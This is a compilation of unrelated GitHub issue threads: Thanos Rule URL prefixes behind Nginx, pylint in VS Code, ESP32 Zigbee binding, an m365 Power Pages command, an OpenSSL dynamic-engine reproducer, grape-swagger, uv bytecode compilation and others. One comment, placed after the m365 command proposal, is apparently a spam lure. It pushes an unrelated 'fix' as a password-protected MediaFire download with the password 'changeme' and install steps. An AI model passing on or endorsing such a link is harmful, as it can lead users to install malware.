Thanos rule doesn't honor --web.external-prefix

Thanos, Prometheus and Golang version used:
# thanos --version
thanos, version 0.15.0 (branch: HEAD, revision: fbd14b49f95e7543883fedf9381a21127d4dda2b)
  build user:       root@d35b081d3e19
  build date:       20200907-09:29:21
  go version:       go1.14.2
#

What happened:
Running Thanos Rule behind Nginx, with --web.external-prefix=https://external.com/thanos/rule, so that Rule is accessible at https://external.com/thanos/rule.
The result is https://external.com/thanos/rule directs to https://external.com/thanos/rule/alerts . It opens up but it is in "text mode", style sheet (css) not loaded.
The links in the UI:

Alerts directs to https://external.com/thanos/rule//thanos/rule/alerts and getting "404 page not found"

Rules directs to https://external.com/thanos/rule//thanos/rule/rules and getting "404 page not found"

Help opens in a new tab https://thanos.io/tip/thanos/getting-started.md/ and getting to Thanos documentation

New UI opens a new tab https://external.com/thanos/rule//thanos/rule/new/ and getting "404 page not found"

Opening https://external.com/thanos/rule/rules opens the rules but again style sheet not loaded.
Opening https://external.com/thanos/rule/new/ redirects to https://external.com/thanos/rule/new/alerts and displays "Error: Error fetching Alerts: Failed to fetch", the style sheet is loaded.
Links in the new UI:

Alerts directs to https://thanos/rule/new/alerts
Rules directs to https://thanos/rule/new/rules
Classic UI directs to https://thanos/rule/alerts

http://internal.org:19902 redirects to http://internal.org:19902/thanos/rule/alerts
http://internal.org:19902/alerts opens up but it is in text mode, style sheet (css) not loaded.
What you expected to happen:

https://external.com/thanos/rule/alerts opens with the style loaded
All the buttons (Alerts, Rules, New UI) direct to the right urls
New UI Actually works

How to reproduce it (as minimally and precisely as possible):

Run Thanos Rule with --web.external-prefix=https://external.com/thanos/rule on host internal.org
Configure Nginx for Query on host external.com with the following:

  location /thanos/rule/ {
    proxy_pass http://internal.org:19902/;
  }

Open up your browser, go to https://external.com/thanos/rule and try switching to "Alerts", "Rules", "New UI".

Unlike Prometheus' --web.external-url we have --web.external-prefix which means that you only need to pass the prefix part of the URL. in your case --web.external-prefix=/thanos/rule will be the correct way to use this flag.
Can you please check if you can reproduce this bug even after correctly passing the flag?

I just switched to --web.external-prefix=/thanos/rule.
The results for Classic UI:
https://external.com/thanos/rule directs to https://external.com/thanos/rule/alerts . It opens up but it is in "text mode", style sheet (css) not loaded.
Links in the new UI:

Alerts directs to  https://external.com/thanos/rule//thanos/rule/alerts
Rules directs to  https://external.com/thanos/rule//thanos/rule/rules
New UI directs to  https://external.com/thanos/rule//thanos/rule/new/

The results for New UI:
https://external.com/thanos/rule/new/ directs to https://metrics.sns.sec/thanos/rule/new/alerts. It does open with css loaded, but displaying error "Error: Error fetching Alerts: Failed to fetch".
Links in the new UI:

Alerts directs to  https://thanos/rule/new/alerts
Rules directs to  https://thanos/rule/new/rules
Classic UI directs to  https://thanos/rule/alerts

Thanks for the detailed report, I'll take a look at how things are handled in Ruler and hopefully a fix will land soon.

@prmsrswt I'm facing a similar issue with --web.external-prefix' for the Query component.
Using version 0.14.0, I had '--web.external-prefix=/thanos' and everything was working fine.
Then, I updated to version 0.15.0 and I started to get "404 page not found".
Any thoughts on that?

Okay so tried this on the latest master and this issue seems to be fixed as a side effect of #3234 Everything should work as expected with the config you specified above.
But there's one thing that caught my eye is that we are handling external prefix and route prefix differently from the Querier.
In Prometheus, route-prefix's default value is equal to the external-prefix specified, because that is the most general use case. This way, Prometheus and it's UI can be accessed with and without the reverse proxy. In Thanos, we were not doing this initially so if you forget to specify route-prefix the same as the external prefix, you will not be able to access the UI internally (without reverse proxy, it'll work as expected with a reverse proxy though). This was changed in the Querier some time ago and now we also do what Prometheus does. We added some documentation around it here. But we are not doing this in other components yet. I think we need to follow the same approach in all other components as well, so that it stays consistent throughout all components.
@ncastrocosta If we modify this behavior in Ruler, you would have to modify your nginx config to something like
location /thanos/rule/ {
    proxy_pass http://internal.org:19902/thanos/rule/;
}

Also, even internally, the ruler would be accessible at /thanos/rule prefix.

@prmsrswt using v0.16.0, for the Query, no matter if I configure --web.external-prefix=/thanos or --web.external-prefix=thanos, for both cases I'm redirected to "/thanos/graph" and I get "404 page not found". The "/thanos/metrics", for example, is working fine. What happened to graph?

I got the query and rule working like this:
location /thanos/rule/ {
    proxy_pass http://internal.org:10911/;
}

location /thanos/query/ {
    proxy_pass http://internal.org:10913/thanos/query/;
}

When using:
location /thanos/query/ {
    proxy_pass http://internal.org:10913/;
}

I get the error 404 page not found
There is an inconsistency between services.
#  thanos --version
thanos, version 0.16.0 (branch: HEAD, revision: dc6a1666bb68cd5c11be54452842e823f57668c5)
  build user:       root@ba806318d94d
  build date:       20201026-13:56:53
  go version:       go1.15
#

Yup, that's what I pointed out above, rule and querier are doing things differently.

I was also facing the same issue until I prefix / in both flags --web.route-prefix --web.external-prefix
I used below prefixes to resolve this.
--web.route-prefix=/thanos/ruler
--web.external-prefix=/thanos/ruler

This is still a valid issue I guess.


Unable to use pylint in vscode on Ubuntu

Environment data
VS Code version:  1.18.1
Python Extension version:  0.8.0 by Microsoft
Python Version:   3.5.3
OS and version:    Ubuntu 16.04 LTS
Actual behavior
Still prompt for installing pylint after already installed.
Expected  behavior
Pylint working well
Steps to reproduce:

I think it is just myself who has this problem.

installing pylint after already installed

What environment is pylint installed in?
What's the current interpreter selected in your vscode? (display at the bottom of the status bar).
Please type the following commands and provide the output for each:

which python
python -m pylint --version

@momoblydblk have you got an update on the above information?

I got the update, but currently not able to do it. Need several hours to put my tasks down to handle this.
Thanks
Best
MomoBD

Main developing environment: Python 3.5
Python 3.5.3 (default, Jan 19 2017, 14:11:04)   [GCC 6.3.0 20170118] on linux
which python3.5 output:
/usr/bin/python3.5
python -m pylint --version output:
No config file found, using default configuration __main__.py 1.7.4,  astroid 1.5.3 Python 3.5.3 (default, Jan 19 2017, 14:11:04)  [GCC 6.3.0 20170118]

In the upcoming release linters are installed per user which should further improve the case.


HA with an ESP32 Zigbee switch and light end device won't find short address.  (TZ-1244)

Hi, anyone had any experience with Homeassistant and ESP32 end devices trying to bind to each other? I have a HA setup with a Sonoff coordinator running. I used the ESP32 light example and it will join the network and can be controlled no problems. But when I went to bind the light to the ESP32 switch example the esp_zb_zdo_find_on_off_light function always just returns a 0x0000 address. If I manually enter in the known short address of the light everything works perfectly. But if I use a global search, like:
esp_zb_zdo_match_desc_req_param_t  find_req;
find_req.addr_of_interest = 0x0000;
find_req.dst_nwk_addr = 0x0000;
esp_zb_zdo_find_on_off_light(&find_req, user_find_cb, NULL);

I only ever get back the cooridinator address of 0x0000. Even if I try to iterate over many end devices it is always just 0
I (8739) ESP_ZB_ON_OFF_SWITCH: Match desc response: status(0), address(0x0), endpoint(1)
I was under the assumption that an addr_of_interest and dst_nwk_addr of 0 would send to the coordinator to find any associated end device on a network. As per the esp_zigbee_customized_devices/customized_client. Or am I incorrect in this assumption.

I jumped the gun. Sorry. 0xffff is what I should have been using.

@djorr5
The esp_zb_zdo_find_on_off_light() allows you to locate the on/off cluster on the addr_of_interest device within the network. If dst_nwk_addr is set to 0xffff, all RxWhenIdle devices will receive the command, and only the device with the short address matching addr_of_interest will respond.

Interesting. I was just mucking around with it and with this struct:
            find_req.addr_of_interest = 0xffff;             find_req.dst_nwk_addr = 0xffff;
The esp_zb_zdo_find_on_off_light() function actually finds the light end device and succesfully binds. As I only have 1 currently on the network I didn't worry about iterating or seeing if it discovers more than 1 end device this way. But are you saying that because the addr_of_interest is 0xffff it shouldn't find any end devices?

But are you saying that because the addr_of_interest is 0xffff it shouldn't find any end devices?

Yes, I think so.

Well it does find the light example with addr_of_interest = 0xffff


New command: m365 pp website webrole list

Usage
m365 pp website webrole list
Description
List all webroles for the specified Power Pages website
Options

Option
Description

--websiteId [websiteId]
ID of the Power Pages website. Specify either websiteId or webName but not both.

--websiteName [websiteName]
The unique name (not the display name) of the Power Pages website. Specify either websiteId or webName but not both.

-e, --environmentName <environmentName>
The name of the environment where the Power Pages websites are located.

--asAdmin
Run the command as admin and retrieve Power Pages websites for environments you do not have explicitly assigned permissions to.

Examples
List all webroles for the site  Contoso
m365 pp website webroles list --websiteName Contoso --environmentName "Default-2ca3eaa5-140f-4175-8261-3272edf9f339"

List all webroles for the site by id
m365 pp website webroles list --websiteId 2ca3eaa5-140f-4175-8261-3272edf9f339--environmentName "Default-2ca3eaa5-140f-4175-8261-3272edf9f339"

Default properties

webroleid
name
statuscode

Additional Info
https://learn.microsoft.com/en-us/power-apps/developer/data-platform/reference/entities/mspp_webrole

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


chapter_recurrent-neural-networks/rnn

Job d2l-zh/PR-661/1 is complete.
Check the results at http://preview.d2l.ai/d2l-zh/PR-661/


Lexicon PCM-80/81 panel download

Hi, I came across a Lexicon PCM-80 panel on the old website (https://ctrlr.org/pcm-80-editor-librarian/), but the links are dead. Where can I download the panel? Anyone have it?

I also came here for looking for this, did you ever find it?

Stab in the dark here, but I just got a pcm-80 and was hoping that this is still floating out there in the ether...if anyone has it that would be amazing.

Oh, looks like he made some improvements and is now distributing it as a standalone app for 40 euro - you can buy it by contacting him from his new website here: http://www.synthassist.co.uk/#Listen


Added Confidence values

This will return Confidence values in the label class.

Hi @Sujeet-Kumar0, thanks for your contribution. I believe the value type of the confidence attribute to be of type float, or am I wrong on this (haven't checked)? I would expect a value from 0 to 1.

yes, you are right, and it returns the values in range of 0.1


EC_POINT_cmp returns error when using a dynamic ENGINE and statically linked openssl

If I create a custom engine that implements ENGINE_load_private_key and returns an EC key and use this engine dynamically, its public portion cannot be compared to a public key loaded by OpenSSL when the application is compiled against OpenSSL statically. This is because the comparison here will always be false (and thus the EC_R_INCOMPATIBLE_OBJECTS will be set).
This came up because I'm trying to use a dynamically-loaded engine in an application that has statically linked OpenSSL. The following is the skeleton for a reproducer:
ENGINE *engine = ENGINE_by_id("myengine.so");
EVP_PKEY *pkey = ENGINE_load_private_key(engine, "mykey", NULL, NULL); // Loads an regular, old-fashioned EC private key corresponding to the public key in the "mycert.crt" file.
SSL_CTX *ctx = SSL_CTX_new(TLS_method());
SSL_CTX_use_certificate_chain_file(ctx, "mycert.crt"); // X509 cert using the EC pub key.
if (SSL_CTX_use_PrivateKey(ctx, pkey) != 1) { // Always returns an error because the X509_check_private_key check will fail
    printf("Unable to use private key.\n");
}

If you'd like a full end-to-end reproducer I can try and hack something minimal together.

Is your engine dynamically linked with another copy of OpenSSL or statically linked with OpenSSL itself? In both those cases, mixing and matching things isn't going to work well.
Dynamic linking and static linking don't really mix in general. You have two (or more) instances of OpenSSL in your process, which means two sets of globals, two sets of locks, etc. Objects from those two OpenSSLs can't be safely passed into each other. Weird things will happen. (Consider ex_data registrations.)
You probably want to be using a dynamically-linked OpenSSL, specifically the same one the engine will ultimately load.

I run into the issue whether or not the engine is statically linked. It also happens if the app itself is dynamically linked and the engine is statically linked, or if both are statically linked (even against the exact same libssl.a/libcrypto.a). As you say, badness isn't two surprising since there's two copies of everything floating around.
That said, the whole reason this is coming up is because I'm trying to use the engine in contexts where OpenSSL is already being wrapped statically (specifically in Ruby, Python, and Node.js apps). It all works well enough (despite the multiple static linkings) when using RSA keys, but I run into this issue with EC keys.

I've made a simplified reproducer. As you can see from the below, the issue only comes up with the statically linked version of the app and it only happens for EC keys (not RSA). Also of note I came up with a hacky workaround for the issue that serializes and deserializes the EC_GROUP and public EC_POINT of the private key.
engine.c
#include <openssl/engine.h>
#include <openssl/pem.h>

static const char *engine_id = "example";
static const char *engine_name = "Example";

static int engine_init(ENGINE *e) {
    return 1;
}

static EVP_PKEY *engine_load_privkey(ENGINE *engine, const char *s_key_id,
        UI_METHOD *ui_method, void *callback_data) {
    EVP_PKEY *key;
    FILE *f = fopen(s_key_id, "r");
    if (f == NULL) {
         return NULL;
    }
    key = PEM_read_PrivateKey(f, NULL, NULL, NULL);
    fclose(f);
    return key;
}

int bind_helper(ENGINE *e, const char *id) {
    if (!ENGINE_set_id(e, engine_id) ||
            !ENGINE_set_name(e, engine_name) ||
            !ENGINE_set_init_function(e, engine_init) ||
            !ENGINE_set_load_privkey_function(e, engine_load_privkey)) {
        return 0;
    }
    return 1;
}

IMPLEMENT_DYNAMIC_CHECK_FN();
IMPLEMENT_DYNAMIC_BIND_FN(bind_helper);

app.c
#include <openssl/engine.h>
#include <openssl/ssl.h>

ENGINE* load_dynamic_engine(const char* so_path) {
    int rc;

    ENGINE_load_dynamic();
    ENGINE *engine = ENGINE_by_id("dynamic");
    if (engine == NULL) {
        printf("Could not load dynamic engine.\n");
        return NULL;
    }
    rc = ENGINE_ctrl_cmd_string(engine, "SO_PATH", so_path, 0);
    if (rc != 1) {
        printf("Could not load SO_PATH!\n");
        return NULL;
    }
    rc = ENGINE_ctrl_cmd_string(engine, "ID", "example", 0);
    if (rc != 1) {
        printf("Could not set id.\n");
        return NULL;
    }
    rc = ENGINE_ctrl_cmd_string(engine, "LOAD", NULL, 0);
    if (rc != 1) {
        printf("Could not send load command.\n");
        return NULL;
    }
    rc = ENGINE_init(engine);
    if (rc != 1) {
        printf("Could not init engine.\n");
        return NULL;
    }
    return engine;
}

void fix_key(EVP_PKEY *key) {
    // Proof of concept work-around for https://github.com/openssl/openssl/issues/5475
    EC_KEY *eckey;
    const EC_GROUP *group;
    int group_name;
    const EC_POINT *pubpoint;
    BN_CTX *bctx;
    size_t point_len;
    unsigned char *pointoct;
    EC_GROUP *newgroup;
    EC_POINT *newpoint;

    // Only applies to EC keys
    if (EVP_PKEY_id(key) != EVP_PKEY_EC) {
        return;
    }
    eckey = EVP_PKEY_get1_EC_KEY(key);
    group = EC_KEY_get0_group(eckey);
    group_name = EC_GROUP_get_curve_name(group);
    if (group_name == 0) {
        // If the key isn't using a named curve, this work-around won't work as-written (though we could probably reconstruct the whole group).
        return;
    }
    pubpoint = EC_KEY_get0_public_key(eckey);

    bctx = BN_CTX_new();
    BN_CTX_start(bctx);
    point_len = EC_POINT_point2oct(group, pubpoint, POINT_CONVERSION_UNCOMPRESSED, NULL, 0, bctx);
    pointoct = OPENSSL_malloc(point_len);
    EC_POINT_point2oct(group, pubpoint, POINT_CONVERSION_UNCOMPRESSED, pointoct, point_len, bctx);

    newgroup = EC_GROUP_new_by_curve_name(group_name);
    EC_KEY_set_group(eckey, newgroup);
    newpoint = EC_POINT_new(newgroup);
    EC_POINT_oct2point(newgroup, newpoint, pointoct, point_len, bctx);
    EC_KEY_set_public_key(eckey, newpoint);

    OPENSSL_free(pointoct);
    BN_CTX_end(bctx);
    BN_CTX_free(bctx);
    EC_KEY_free(eckey);
    EC_GROUP_free(newgroup);
    EC_POINT_free(newpoint);
}

void test_setup_ssl_ctx(const char *cert_path, const char *key_path, int fixkey) {
    SSL_CTX *ctx;
    EVP_PKEY *key;
    ENGINE *engine;

    engine = load_dynamic_engine("./libengine.so");
    if (engine == NULL) {
        printf("Unable to load engine.\n");
        return;
    }
    key = ENGINE_load_private_key(engine, key_path, NULL, NULL);
    if (key == NULL) {
        printf("Unable to load key.\n");
        return;
    }
    if (fixkey) {
        fix_key(key);
    }

    ctx = SSL_CTX_new(TLS_method());
    if (SSL_CTX_use_certificate_chain_file(ctx, cert_path) != 1) {
        printf("Unable to use certificate chain file.\n");
        return;
    }

    if (SSL_CTX_use_PrivateKey(ctx, key) != 1) {
        printf("Unable to use private key with (%s, %s, %d).\n", cert_path, key_path, fixkey);
    } else {
        printf("Successfully setup SSL context to use private key with (%s, %s, %d).\n", cert_path, key_path, fixkey);
    }

    EVP_PKEY_free(key);
    SSL_CTX_free(ctx);
}

int main(int argc, char** argv) {
    test_setup_ssl_ctx("rsa.crt", "rsa.key", 0);
    test_setup_ssl_ctx("ec.crt", "ec.key", 0);
    test_setup_ssl_ctx("rsa.crt", "rsa.key", 1);
    test_setup_ssl_ctx("ec.crt", "ec.key", 1);
    return 0;
}

Makefile
all: libengine.so app app-static

clean:
	rm -f libengine.so app app-static rsa.crt rsa.key ec.crt ec.key

libengine.so: engine.c
	gcc -shared -fPIC -Wall engine.c -o libengine.so -lssl -lcrypto

app: app.c rsa.crt ec.crt
	gcc -Wall app.c -o app -lssl -lcrypto

app-static: app.c rsa.crt ec.crt
	gcc -Wall app.c -o app-static /usr/lib64/libssl.a /usr/lib64/libcrypto.a -ldl -lpthread

rsa.crt:
	openssl req -x509 -newkey rsa:2048 -keyout rsa.key -out rsa.crt -nodes -subj '/CN=foo/'

ec.crt:
	openssl ecparam -out ec.key -name prime256v1 -genkey
	openssl req -x509 -key ec.key -out ec.crt -nodes -subj '/CN=foo/'

$ make clean all
rm -f libengine.so app app-static rsa.crt rsa.key ec.crt ec.key
gcc -shared -fPIC -Wall engine.c -o libengine.so -lssl -lcrypto
openssl req -x509 -newkey rsa:2048 -keyout rsa.key -out rsa.crt -nodes -subj '/CN=foo/'
Generating a 2048 bit RSA private key
...............................................................................+++
................................+++
writing new private key to 'rsa.key'
-----
openssl ecparam -out ec.key -name prime256v1 -genkey
openssl req -x509 -key ec.key -out ec.crt -nodes -subj '/CN=foo/'
gcc -Wall app.c -o app -lssl -lcrypto
gcc -Wall app.c -o app-static /usr/lib64/libssl.a /usr/lib64/libcrypto.a -ldl -lpthread
$ ./app
Successfully setup SSL context to use private key with (rsa.crt, rsa.key, 0).
Successfully setup SSL context to use private key with (ec.crt, ec.key, 0).
Successfully setup SSL context to use private key with (rsa.crt, rsa.key, 1).
Successfully setup SSL context to use private key with (ec.crt, ec.key, 1).
$ ./app-static
Successfully setup SSL context to use private key with (rsa.crt, rsa.key, 0).
Unable to use private key with (ec.crt, ec.key, 0).
Successfully setup SSL context to use private key with (rsa.crt, rsa.key, 1).
Successfully setup SSL context to use private key with (ec.crt, ec.key, 1).

Unfortunately, I think the only plausible answer here is that statically-linked OpenSSLs and ENGINEs are not compatible. If the OpenSSL <-> ENGINE boundary were much tighter, where the ENGINE merely implements particular functions and never calls back into OpenSSL (unless through a vtable that OpenSSL manually provides), this could work. But instead OpenSSL relies on the dynamic linker to provide that vtable, which means you need to work with the dynamic linker.
Even were the particular check in question removed, you would run into problems as soon as your ENGINE used ex_data (the ENGINE presumably exists to wrap some foreign crypto API, so it needs to hang state off its EVP_PKEYs somehow).

I'm not sure I totally agree with you that you'd run into problems regardless; the whole construct of an engine is that the private key is loaded by the engine (and some extra data is hung off of ex_data), and the signing operation is also implemented by the engine (set by calling EC_KEY_METHOD_set_sign before returning the loaded key). If I had called ECDSA_sign() instead of putting the loaded private key into an SSL_CTX everything would have been fine because it would only be the the dynamic engine code doing any manipulation or introspection of the key. However, loading the private key into an SSL_CTX has the side-effect of introspecting the public portion of the key, which in this context I really don't want it to do because the key should be treated as a more opaque blob that's only meaningful to the engine.
Perhaps a better way to frame this is to request a feature enhancement that adds the EC_KEY equivalent of the RSA_METHOD_FLAG_NO_CHECK flag. As spelled out in an internal comment the effect of this flag is "Don't check the public/private key, this is mostly for smart cards." This is exactly the use-case I'm trying to satisfy here; inside ssl_set_pkey I don't want OpenSSL to check that the public component of the EVP_PKEY matches the already-loaded certificate because the key is actually an opaque blob representing a handle on a hardware token and it doesn't make sense for the OpenSSL code to try and inspect it.

and some extra data is hung off of ex_data

I believe this is in itself a problem. ex_data involves a global table mapping from indices to function pointers, notably a free function. With two instances of OpenSSL in your process, you have two sets of registrations between the two copies. If one OpenSSL sees another OpenSSL's EVP_PKEY and attempts to set or query ex_data on it, things will go wrong. Moreover, EVP_PKEY is ref-counted. If the wrong OpenSSL happened to release the last reference, it will call the wrong free functions. Any of these going wrong will lead to memory errors.
To make matters worse, the ENGINE library itself has a global lock. Two instances of OpenSSL mean two of those locks, so I suspect some of the locking there also isn't working right.

the EC_KEY equivalent of the RSA_METHOD_FLAG_NO_CHECK flag

There was some chatter around this floating around in #1532 and friends, but I think this particular use has more serious problems. Such a flag would, at best, resolve things on accident and depend on implementation details.

If the wrong OpenSSL happened to release the last reference, it will call the wrong free functions.

Ok, that's definitely a fair point. To see if I correctly grok the interplay, if the ex_index was always allocated with NULL init/free functions and the ex_data cleanup was instead done in finish method of the EC_KEY (e.g. using EC_KEY_METHOD_set_init) then the cleanup would always get back to the engine no matter which OpenSSL released the last reference, right? E.g. what libp11 does for RSA keys (here and here)?
But since that assumption shouldn't be made, I agree that there's going to be badness all over the place. Looking at #1532 and #1551, I think those might be what I really want to watch.
As a point of reference, I first started hitting this issue when using the new clientCertEngine parameter for node.js. This allows you to point to an engine implementing ENGINE_load_ssl_client_cert to supply the cert/key provided when making a TLS client connection. Since node ships binaries with openssl statically linked in I started hitting this whether my engine was linked statically or dynamically. Does this suggest that this new node.js feature could lead to memory corruption even for "well-behaved" engines?

if the ex_index was always allocated with NULL init/free functions and the ex_data cleanup was instead done in finish method of the EC_KEY (e.g. using EC_KEY_METHOD_set_init) then the cleanup would always get back to the engine no matter which OpenSSL released the last reference, right?

I think so, but you'd also need to worry about whether the corresponding index in the other OpenSSL happened to be initialized with a free function. It's also very much a "working on accident" sort of thing, based on which paths happen to or not to hit a global. Plus there's the additional excitement below:

I first started hitting this issue when using the new clientCertEngine parameter for node.js.

Hrm, yeah, that is awkward of a feature for Node to ship. You now even must worry if the OpenSSL Node statically links with is same as the OpenSSL that your engine is dynamically linked with. Node currently ship with 1.0.x, so an engine linked with 1.1.x will hit problems as they're not ABI-compatible. (Given your mention of EC_KEY_METHOD_set_init, I take it this is exactly your situation? Things are probably vaguely working only because the structs you use are probably still relatively close between 1.0.x and 1.1.x, but there's no guarantee they'd stay that way.)
Even two ABI-compatible versions will not work because of private structs. OpenSSL 1.1.0 opaquified EVP_PKEY, so it's valid for 1.1.0 => 1.1.1 or even 1.1.0 => 1.1.0a to change that struct. If that happens and you load both versions in a process, cross-contaminating an EVP_PKEY will interpret the pointer wrong and hit a memory error.
I should add that, even if you were to match versions with Node's 1.0.x release, 1.0.x has many more global locks than 1.1.x, so I expect even ref-counting won't be correctly locked.
Perhaps others OpenSSL contributors could chime in on how/whether ENGINE is intended to work in such a situation. @levitte? I am actually not familiar with ENGINE's design, only with the pain and suffering that comes of mixing up two copies of a library in the same process. :-)
My sense is there's no way for this sort of static linking and dynamic engines work well. To add a feature of this shape to Node, one would need a less porous plugin interface than ENGINE, and then whoever consumes this plugin interface, Node or OpenSSL, would write the glue code to bridge things in.

Thanks for all of the insight @davidben! If anyone wants to chime in on best practices for using an ENGINE in this context that'd be helpful. In the mean time, node has no problem using a dynamically linked version of openssl if you build from source (and since it's also come up when I've been mucking about with python, you can do the same for the python's cryptography package).
I'll be leaving a comment on #1551 (since much of this was instigated by the parallel issue of providing a good-enough solution for hardware tokens that don't export the public component), but in the mean time I'd say you're right that this ticket probably isn't worth pursuing given that there seem to be a number of reasons why mixing static/dynamic linking isn't likely to work anyway.

An engine module should link with exactly the same libcrypto as the loading application.  Otherwise, as has already been mentioned, you will have issues when starting to pass around libcrypto objects.
The only way I can see when statically linking with libcrypto is to statically link with the engine modules as well.  When configuring OpenSSL with no-shared, the engines that come with OpenSSL will be included in libcrypto, and initialized properly as well.
The issue comes with many external engine modules, which have no mechanism whatsoever to be linked statically.  Some might, but that's nothing we've encouraged.
Of course, there might be some engine modules that find the libcrypto symbols from the calling program dynamically, but I'm unsure how many do this...
So in summary, trying to use dynamically loadable engine modules when statically linked with libcrypto is problematic and not recommended.

Cool, thanks for the insight everyone. I'm happy with a closed, won't fix resolution on this one.


Provide MapU64 version?

Thanks for brilliant job. It's nice to provide MapU64 version, thought?

Thanks for the suggestion. I have no immediate plans to add a u64 version, but perhaps in a future.


Disable native tooltip when using variable in handlebars

I want to pass a variable to the tooltip helper like this:
{{#info-tooltip title="Edit #[...] post" var=post.id}}{{post.title}}{{/info-tooltip}}

This is the component:
// components/info-tooltip.js
import TooltipsterComponent from 'ember-cli-tooltipster/components/tool-tipster';

var InfoTooltipComponent = TooltipsterComponent.extend({
  tagName: 'span',
  classNames: ['info-tooltip'],
  attributeBindings: ['customTitle:title'],
  customTitle: function() {
    return this.get('title').replace('[...]', this.get('var'));
  }.property('title', 'var')
});

export default InfoTooltipComponent;

It looks like this:

It looks like is does not support a variable in the helper because the double tooltip will not show up when I use it like this:
{{#info-tooltip title="Edit #[...] post"}}{{post.title}}{{/info-tooltip}}

@harianus Hmm strange, I just tested your solution and it seems to work fine.
I get this:

And don't get the native html title attribute at all.

Ok, then I will search further... closing for now.
And thanks for testing it!

@harianus Same as you used it var=post.id, just copy-pasted your code and it worked fine.


Nested resources - doc uses parent entity

I have 2 controllers:
class API::Entities < API::Base

  # /api/v1/entities/:id , proved to work as expected (rspec tests)
  desc 'Get entity data' do
    success Entity
  end
  get '/entities/:id' do
    @object = ...
    present @object, with: Entity
  end

end

class API::NestedEntities < API::Base
  resource :entities do
    params do
      requires :entity_id, type: Integer
    end
    route_param :nested_id do
      resource :nested do

        # /api/v1/entities/:id/nested , proved to work as expected (rspec tests)
        desc 'List nested entities for entity' do
          success Entity::Nested
        end
        get '/' do
          @nested_entities = ...
          present @nested_entities, with: Entity::Nested
        end

      end
    end
  end
end

This results in doc like (as shown in swagger UI):

GET /api/v1/entities/{entity_id}/nested
Model: doc for Entity is shown there, not Entity::Nested

Relevant Gemfile section:
gem 'grape', '0.19.1'
gem 'grape-entity', '0.6.0'
gem 'grape-swagger', '0.26.0'
gem 'grape-swagger-entity', '0.1.5'

Probably, I'm misusing something?

@mxmCherry … I don't know if you missing something, cause it isn't really clear what you want achieve, what should be the issue …
so for better understanding, please provide a spec
your first resource, would be correct interpreted as this oapi route: /api/v1/entities/{id}
your second (adaptedit a bit)
module Api
  module Endpoints
    class Sibling < Grape::API
      resource :parent do
        params do
          requires :parent_id
        end
        route_param :sibling_id do
          resource :sibling do

            desc 'List sibling entities for entity'
            get
          end
        end
      end
    end
  end
end

results in: /api/v1/parent/{sibling_id}/sibling and this is also expected
if you want to achieve this one: /api/v1/parent/{parent_id}/{sibling_id}/sibling and this is what I guess, you should use a second route param instead of the params block, so that it looks like:
module Api
  module Endpoints
    class Sibling < Grape::API
      resource :parent do
        route_param :parent_id do
          route_param :sibling_id do
            resource :sibling do

              desc 'List sibling entities for entity'
              get
            end
          end
        end
      end
    end
  end
end

Hey,
Thanks for your answer.

if you want to achieve this one: /api/v1/parent/{parent_id}/{sibling_id}/sibling and this is what I guess, you should use a second route param instead of the params block, so that it looks like: ...

Well, no, I have a route /api/v1/parent/{parent_id}/siblings listing sibling entities (Parent.has_many :siblings). But the generated swagger JSON says this route responds with Parent entity, not Sibling.
I'll try to provide spec in 2-3 days, sorry for not doing it when opening this issue.

Ok, I figured out what was wrong.
Everything works fine when you have, for example, Entities::Parent and Entities::Parent::Sibling.
But I have something like Entities::Parent::ForClient and Entities::Parent::ForClient.
So grape-swagger generated definitions like:
"definitions": {
  "ForEmployee": { // not Parent::Sibling::ForEmployee, as I expected
    "type": "object",
    "properties": {
      "parent_prop": {
        "type": "string"
      }
    },
    "description": "List"
  }
}

I'm quite new to swagger, but I suppose that's intended, right? So no bug here.
Thanks and sorry for taking your time.

@mxmCherry no problem, that is only a fix, cause route parameters are not supported at the moment see: https://github.com/ruby-grape/grape-swagger/issues/532


Request: Filter when downlading scenarios

I think it would be nice to have filters that allow us to select language, author or other things.
And maybe add a feature that allows us to rate the scenarios.

There is a request in #111 regarding a better quest distribution and ratings system. I think this would also allow for better sorting and filtering functions.


uv pip installs a broken package while pip works correctly

This is on Python 3.12.0 with a virtual environment with uv 0.1.15 installed:
pip works
$ pip install --force-reinstall xlsx2csv==0.8.2 && python -c 'import xlsx2csv'
Collecting xlsx2csv==0.8.2
  Using cached xlsx2csv-0.8.2-py3-none-any.whl
Installing collected packages: xlsx2csv
  Attempting uninstall: xlsx2csv
    Found existing installation: xlsx2csv 0.8.2
    Uninstalling xlsx2csv-0.8.2:
      Successfully uninstalled xlsx2csv-0.8.2
Successfully installed xlsx2csv-0.8.2

uv pip fails
Installation succeeds, but importing the package doesn't work.
$ uv --no-cache pip install --force-reinstall xlsx2csv==0.8.2 && python -c 'import xlsx2csv'
Resolved 1 package in 1ms
Installed 1 package in 7ms
 - xlsx2csv==0.8.2
 + xlsx2csv==0.8.2
/home/stijn/code/polars/.venv/lib/python3.12/site-packages/xlsx2csv.py:836: SyntaxWarning: invalid escape sequence '\['
  '.*\[.*[dmhys].*\]', format_str):

No idea what's going on here, but I thought I'd report it.

So, I believe this is explained here: https://github.com/astral-sh/uv/issues/1928#issuecomment-1968857514. Which is that pip does bytecode compilation by default, and they swallow all errors. So that warning is present in both cases, it's just swallowed by the pip install.
Relatedly, you can enable bytecode compilation with uv if you'd like as of the latest release:
❯ cargo run pip install --compile --force-reinstall xlsx2csv==0.8.2 && source .venv/bin/activate && python -c 'import xlsx2csv'
    Finished dev [unoptimized + debuginfo] target(s) in 0.15s
     Running `target/debug/uv pip install --compile --force-reinstall xlsx2csv==0.8.2`
Resolved 1 package in 2ms
Installed 1 package in 8ms
Bytecode compiled 196 files in 65ms
 - xlsx2csv==0.8.2
 + xlsx2csv==0.8.2

(But again, it's a real warning in the package; Python just don't show them if bytecode already exists for the file, and pip swallows the warnings when compiling.)

Thanks, --compile indeed the resolves the issue. And I learned something new about pip install.
Thanks and keep up the great work!


More Function: Return rvalue without copy structure

The trick is simple, pass a pointer to structure from the outer scope, modify the structure via the pointer.

The same concept in C code:
struct Foo;
void Foo_xxx(Foo *result, Foo *a, Foo *b);
// ...
struct Foo a, b, result;
Foo_xxx(&result, a, b);

done


chore: update SHA

leanprover-community/mathlib#18320 was already forward-ported in #1924.

bors r+


ToaruOS 2.x Release Roadmap

[ ] Finish the new network stack:

[ ] TCP stack completion:

[ ] Packet reordering (rx)
[ ] Packet redelivery (tx)
[x] Connection timeouts
[x] Fixup streams
[ ] Listening sockets

[ ] TCP
[x] UDP

